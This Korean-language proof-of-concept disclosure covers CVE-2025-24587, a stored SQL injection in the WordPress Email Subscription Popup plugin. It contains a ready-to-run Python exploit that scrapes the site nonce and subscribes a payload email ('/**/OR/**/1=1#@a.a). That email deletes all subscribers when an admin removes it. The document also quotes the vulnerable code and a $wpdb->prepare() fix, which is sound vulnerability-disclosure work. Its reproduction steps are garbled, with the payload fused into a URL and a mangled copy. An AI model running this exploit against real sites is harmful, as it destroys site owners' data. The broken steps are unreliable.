
CVE-2025-24587의 PoC
WordPress 플러그인
컴포넌트 이름 Email Subscription Popup
취약한 버전 <= 1.2.23
컴포넌트 슬러그 email-subscribe
컴포넌트 링크 https://wordpress.org/plugins/email-subscribe/
취약점 클래스 A3: 인젝션
취약점 유형 SQL 인젝션
인증되지 않음
인증되지 않은 사용자(공격자)는 SQL 인젝션 페이로드가 포함된 이메일 주소를 사용하여 뉴스레터를 구독합니다. 이후 관리자가 "구독자 관리" 페이지로 이동해 악성 이메일 주소를 선택하고 삭제를 요청하면, 이메일 주소에 포함된 SQL 인젝션 페이로드가 실행됩니다. 그 결과 데이터베이스에 구독된 모든 이메일 주소가 삭제됩니다.
poc.py.txt 파일을 Python으로 실행하여 SQL 인젝션 취약점을 트리거하는 페이로드가 포함된 이메일 주소로 뉴스레터를 구독합니다:
'/**/OR/**/1=1#@a.ahttp://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management.'/****/**OR**/****/1=1#@a.a를 선택하고 하단의 "선택한 구독자 삭제" 버튼을 클릭합니다.[취약점 원인]
이 취약점은 wp-content/plugins/email-subscribe/wp-email-subscription.php 파일의 2080~2084행에서 발생합니다:
# wp-content/plugins/email-subscribe/wp-email-subscription.php 의
# line 2083 ~ line 2084
$query = "delete from " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);
이 문제를 해결하려면 WordPress에서 제공하는 $wpdb->prepare()를 사용할 수 있습니다. 이 함수는 SQL 쿼리에 사용되는 변수를 안전하게 이스케이프하고 형식화하여 SQL 인젝션 공격을 방지합니다.
$query = $wpdb->prepare(
"DELETE FROM " . $wpdb->prefix . "nl_subscriptions WHERE email = %s",
$em
);
$wpdb->query($query);
import re
import string
import random
import requests
TARGET = "http://localhost:8080"
def poc():
####
# 1. Retrieve the value of 'sec_string' required for email subscription
####
resp = requests.get(f"{TARGET}")
pattern = r'var nonce = \'(.{10})\';'
match = re.search(pattern, resp.text)
if match:
sec_string = match.group(1)
print("[*] sec_string: " + sec_string)
####
# 2. Generate subscribers with random email addresses
####
random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
for i in range(10):
data = {
"action": "store_email",
"email": f"{random_string}_{i}@example.com",
"name": f"{random_string}_{i}",
"is_agreed": "true",
"sec_string": sec_string
}
print("[+] Successfully created subscriber #" + str(i) + " Email: " + data['email'] + ", Name: " + data['name'])
requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
####
# 3. Create a malicious email address to delete all subscriptions
####
data = {
"action": "store_email",
"email": "'/**/OR/**/1=1#@a.a",
"name": "Email mine",
"is_agreed": "true",
"sec_string": sec_string
}
print("[+] Malicious email address created Email: " + data['email'] + ", Name: " + data['name'])
requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
else:
print("[-] 'sec_string' not found")
if __name__ == "__main__":
poc()